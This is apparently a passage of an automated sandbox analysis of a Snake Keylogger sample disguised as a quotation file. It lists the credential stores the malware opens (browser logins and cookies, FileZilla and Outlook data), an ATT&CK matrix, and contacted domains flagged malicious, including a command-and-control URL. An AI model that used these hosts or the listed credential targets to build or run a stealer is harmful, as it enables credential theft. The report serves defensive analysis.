Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284, type: MEMORY
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match

File source: Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284, type: MEMORY

Remote Access Functionality:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284, type: MEMORY
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Registry Run Keys / Startup Folder11	Process Injection212	Disable or Modify Tools11	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder11	Obfuscated Files or Information1	Input Capture1	System Information Discovery13	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing1	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Timestomp1	NTDS	Security Software Discovery221	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading221	LSA Secrets	Virtualization/Sandbox Evasion14	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion14	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection212	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Network Configuration Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	23%	ReversingLabs	ByteCode-MSIL.Downloader.BaseLoader

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://freegeoip.app	0%	URL Reputation	safe
https://freegeoip.app	0%	URL Reputation	safe
https://freegeoip.app	0%	URL Reputation	safe
http://lootahperfumes.com	0%	Avira URL Cloud	safe
https://6cgq.adj.st/en/unitednow?adjust_t=eo402dp_88iacno&adjust_campaign=Menu&adj_adgroup=M	0%	Avira URL Cloud	safe
https://freegeoip.app4	0%	URL Reputation	safe
https://freegeoip.app4	0%	URL Reputation	safe
https://freegeoip.app4	0%	URL Reputation	safe
https://tribus-watches.com/	0%	Avira URL Cloud	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://mail.lootahperfumes.com	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
https://freegeoip.app/xml/LoadCountryNameClipboard	0%	URL Reputation	safe
https://freegeoip.app/xml/LoadCountryNameClipboard	0%	URL Reputation	safe
https://freegeoip.app/xml/LoadCountryNameClipboard	0%	URL Reputation	safe
https://www.mufoundation.org/	0%	Avira URL Cloud	safe
http://0k10dk21kkeok2e.online4	0%	Avira URL Cloud	safe
https://freegeoip.app/xml/	0%	URL Reputation	safe
https://freegeoip.app/xml/	0%	URL Reputation	safe
https://freegeoip.app/xml/	0%	URL Reputation	safe
https://www.quorn.com/	0%	Avira URL Cloud	safe
https://www.manutd.com4	0%	Avira URL Cloud	safe
http://0k10dk21kkeok2e.online/base/BE5201E9C42925D8E78FC1784E088C41.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
0k10dk21kkeok2e.online	172.67.179.188	true	true	unknown
lootahperfumes.com	35.208.150.174	true	true	unknown
chelseafc.map.fastly.net	151.101.2.133	true	true	unknown
freegeoip.app	104.21.19.200	true	false	unknown
d2hhwit6pbhmvu.cloudfront.net	13.225.80.39	true	false	high
checkip.dyndns.com	162.88.193.70	true	false	unknown
www.realmadrid.com	unknown	unknown	false	high
www.manutd.com	unknown	unknown	false	high
mail.lootahperfumes.com	unknown	unknown	true	unknown
www.liverpoolfc.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	true	unknown
www.mancity.com	unknown	unknown	false	high
www.chelseafc.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://0k10dk21kkeok2e.online/base/BE5201E9C42925D8E78FC1784E088C41.html	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735841506077151161_me	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/polyfills-ie9.min.js	svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
http://www.mancity.com/base/	svchost.exe	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/74/thumb_73386_partnerlogo_p	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/fans/safeguarding	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://freegeoip.app	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/11/thumb_110194_partnerlogo_	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/fans/supporters-committee	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
http://lootahperfumes.com	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.930356304.0000000002603000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://competitions.liverpoolfc.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://www.acronis.com/en-gb/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/matches/matchcenter/man-utd-vs-newcastle-match-2128532	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://faq.liverpoolfc.com/portal/home	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/matches/matchcenter?matchId=2128568	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/08/thumb_107697_partnerlogo_	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamejhttp://schemas.xmlsoap.o	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://www.levi.com/GB/en_GB/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
http://www.liverpoolfc.com	svchost.exe, 00000015.00000002.926188407.0000000002B6B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://6cgq.adj.st/en/unitednow?adjust_t=eo402dp_88iacno&adjust_campaign=Menu&adj_adgroup=M	svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/realmadrid	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://freegeoip.app4	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.standardchartered.com/home/en/index.html?camp_id=liverpool_source=liverpoolfctv_medium=4	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.821940448.0000000002331000.00000004.00000001.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928332536.00000000023F1000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/41/thumb_40979_partnerlogo_p	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/matches/matchcenter/man-utd-vs-real-sociedad-match-2180594	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://www.snapchat.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/page_banner/0002/11/aa0024fde91a556201a3e18ac	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://tribus-watches.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://schema.org/OfflineEventAttendanceMode	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
http://www.liverpoolfc.com/legal/privacy-policy	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/13/thumb_112227_partnerlogo_	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
http://ocsp.sca1b.amazontrust.com06	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.manutd.com/allredallequal	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
http://mail.lootahperfumes.com	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.930356304.0000000002603000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.liverpoolfc.com/history/hillsborough	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/heysel	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
http://checkip.dyndns.org	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928332536.00000000023F1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpoolfc.com/kopkids	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://www.twitter.com/realmadrid	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://freegeoip.app/xml/LoadCountryNameClipboard	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928332536.00000000023F1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpoolfc.com	svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	false		high
https://picturestore.liverpoolfc.com/LFC	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/09/thumb_108617_partnerlogo_	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.mufoundation.org/	svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.liverpoolfc.com/accessible/accessible	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0002/08/thumb_107008_partnerlogo_	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://store.liverpoolfc.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://assets.manutd.com/AssetPicker/images/0/0/14/182/964336/real_sociedad_logo_1x1613636123778_im	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/home.css	svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/membership	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://www.hcltech.com/unitedbyhcl	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
http://www.verbier.ch/en/index.htm?reset=1	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/js/scripts.min.js	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/Help/Accessibility	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
http://www.liverpoolfc.com/corporate/rss-feeds	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735811506077151149_po	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
http://www.realmadrid.com/fr	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
http://instagram.com/manchesterunited	svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/fans/apps-and-games	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/partners/global/swissquote	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/shop/official-club-stores	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
https://assets.manutd.com/AssetPicker/images/0/0/11/179/766747/AC_Milan_Crest_Comp_180x1801549549349	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/partners/charity?source=menu	svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/partners/global/marriott-hotels	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/portal/feedback?source=menu	svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/matches/matchcenter/man-utd-vs-milan-match-2192703	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://pubads.g.doubleclick.net/gampad/ads?sz=640x480&iu=/	svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://uk.joiebaby.com/liverpoolfc/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
